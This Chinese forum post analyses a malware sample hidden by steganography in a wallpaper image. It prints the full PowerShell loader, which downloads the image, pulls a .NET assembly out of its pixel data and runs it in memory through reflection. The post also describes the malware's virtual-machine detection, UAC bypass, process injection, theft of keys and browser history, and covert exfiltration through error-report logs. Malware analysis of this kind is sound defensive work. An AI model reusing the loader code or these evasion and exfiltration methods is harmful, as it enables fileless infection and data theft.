本帖最后由 图钉鱼 于 2025-6-29 18:37 编辑
- $Base64String1 = 'VAI';
- $Base64Bytes1 = [System.Convert]::FromBase64String($Base64String1);
- $DecodedString1 = [System.Text.Encoding]::UTF8.GetString($Base64Bytes1);
- $Base64String2 = 'ClassLibrary1.Home';
- $Base64Bytes2 = [System.Convert]::Frombase64String($Base64String2);
- $DecodedString2 = [System.Text.Encoding]::UTF8.GetString($Base64Bytes2);
- # 加载System.Drawing程序集
- Add-Type -AssemblyName System.Drawing;
- # 使用本地图片文件,原网址已失效https://archive.org/download/wp4096799-lost-in-space-wallpapers_20250624_1601/wp4096799-lost-in-space-wallpapers.jpg
- $localImagePath = 'wallpapers.jpg';
- $WebClient=New-Object System.Net.WebClient;
- $WebClient.Headers.Add('User-Agent','Mozilla/5.0');
- $ImageData=$WebClient.DownloadData($localImagePath);
- $BmpHeader=[byte[]](0x42, 0x4D, 0x46, 0xC0, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x8C, 0x35, 0x00, 0x00, 0x01, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC0, 0x3E, 0x00, 0xC4, 0x0E, 0x00, 0x00, 0xC4, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00);
- # 在图片数据中搜索BMP文件头
- $HeaderPosition=-1;
- for($gurls=0;$gurls -le $ImageData.Length-$BmpHeader.Length;$gurls++){ $psychian=$true;for($pMcGoohan=0;$pMcGoohan -lt $BmpHeader.Length;$pMcGoohan++){if($ImageData[$gurls+$pMcGoohan] -ne $BmpHeader[$pMcGoohan]){$psychian=$false;break}}if($psychian){$HeaderPosition=$gurls;break}};
- if($HeaderPosition -eq -1){return};
- $ImagePayload=$ImageData[$HeaderPosition..($ImageData.Length-1)];
- # 创建内存流存放图片数据
- $MemoryStream=New-Object IO.MemoryStream;
- $MemoryStream.Write($ImagePayload,0,$ImagePayload.Length);
- $MemoryStream.Seek(0,'Begin')|Out-Null;
- $Bitmap=[Drawing.Bitmap]::FromStream($MemoryStream);
- $PixelData=New-Object Collections.Generic.List[Byte];
- for($tattooing=0;$tattooing -lt $Bitmap.Height;$tattooing++){for($hardwire=0;$hardwire -lt $Bitmap.Width;$hardwire++){$minidrama=$Bitmap.GetPixel($hardwire,$tattooing);$PixelData.Add($minidrama.R);$PixelData.Add($minidrama.G);$PixelData.Add($minidrama.B)}};
- $PayloadLength=[BitConverter]::ToInt32($PixelData.GetRange(0,4).ToArray(),0);
- $PayloadData=$PixelData.GetRange(4,$PayloadLength).ToArray();
- $Base64Payload=[Convert]::ToBase64String($PayloadData).Replace('A','@').Replace('@','A');
- $ObfuscatedString='E50MnNFUUhzLy9SZl5SZ0NXYw9yL6MHc0RHa'.Replace(']@','t');
- $AssemblyBytes=[Convert]::FromBase64String($Base64Payload);
- $LoadedAssembly=[Reflection.Assembly]::Load($AssemblyBytes);
- $Arguments=@($ObfuscatedString,'','','','MSBuild','','','','','C:\Users\Public\Downloads','infoboxes','js','','','kicksorter','2','');
- $LoadedAssembly.GetType($DecodedString2).GetMethod($DecodedString1).Invoke($dyers,$Arguments);
- $Bitmap.Dispose();
- $MemoryStream.Dispose()
复制代码
隐写提取步骤:
定位隐写起始点
在图片文件中搜索硬编码的54字节BMP头特征值:
42 4D 46 C0 3E 00 00 00 00 00 36 00
00 00 28 00 00 00 64 00 00 00 8C 35
00 00 01 00 18 00 00 00 00 00 10 C0
3E 00 C4 0E 00 00 C4 0E 00 00 00 00
00 00 00 00 00 00
成功在偏移量 0x1013B6 处找到BMP头
解析BMP图像数据:
手动解析BMP格式
图像参数:宽100像素 × 高13708像素,24位色深
BMP特性:图像数据自下而上存储,每行字节数需4字节对齐
计算行填充字节:每行实际字节数 = (100 * 3 + 3) & ~3 = 300 → 无填充(300%4==0)
按行提取像素:从最后一行到第一行,每像素按R、G、B顺序读取
提取载荷数据:
从像素数据的前4字节读取载荷长度(小端序):4112384字节
提取后续指定长度的数据作为原始载荷
Base64混淆处理:
将原始载荷Base64编码
执行字符替换:A→@ 然后 @→A(双重替换)
对结果进行Base64解码原始载荷经过 Base64 编码后不包含字符 'A' 或 '@'
因此替换操作没有真正改变任何字符
最终解码后数据与原始数据完全相同
验证结果:
原始载荷与解码后载荷MD5相同:9f284be3873885a1f77248d7e85f3a86
https://www.virustotal.com/gui/f ... 27befdb90364ffe5fa/
检测到有效的DOS头(MZ签名),确认是PE文件,进一步确认为DLL。
输出符合预期。
提取的负载是一个NET 程序集,无文件落地 (Fileless):程序集仅在内存中运行,不写入磁盘。
使用 PowerShell 反射技术(如 [System.Reflection.Assembly]::Load)将程序集直接加载到内存中。
通过动态调用类方法执行程序集功能(关键类名:ClassLibrary1.Home)。
整个攻击流程为:
攻击者将恶意软件通过隐写术隐藏在图片(wallpapers.jpg)中,并上传到archive.org。
受害者下载图片后,通过特定的规则提取出恶意载荷(payload.dll),然后执行。
恶意软件执行后,进行环境探测、权限提升、进程注入、数据收集等恶意行为,并尝试建立持久化和横向移动。
虚拟机检测三重验证:
WMI硬件查询(23类设备信息)
CPUID指令检查(Virtual CPU字符串)
驱动特征比对(Vid.sys虚拟驱动)
反内存分析:
内存地址随机化(7fff4c****)
代码碎片化(多处内嵌shellcode)
RPC调用RAiLaunchAdminProcess获取SYSTEM权限
consent.exe绕过UAC
隐蔽通信技术
通道1:CryptnetUrlCache缓存读取
路径:C:\Users\...\CryptnetUrlCache\Content\A583E2A5...
通道2:WER错误报告伪装
日志写入:C:\ProgramData\Microsoft\Windows\WER\ReportQueue\*.wer
注入演进
传统注入:修改进程内存(svchost.exe,WerFault.exe,mmc.exe)
高级注入:线程恢复技术
回调函数执行
GdipCreateBitmapFromStream
DispatchMessageW
提取:
用户证书私钥
Windows错误报告(含内存片段)
浏览器历史
用WerFault.exe建立通道:HTTPS流量封装在BITS传输
盗取的数据加密数据存储于崩溃日志:
markdownmarkdown复制c:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_mmc.exe_...\Report.wer
通过回调函数GdipCreateBitmapFromStream的使用、内存中像素操作指令,使用图片像素隐写回传:
通过RPC调用伪装图片命名为Wallpaper_updated.jpg回传~~~~
|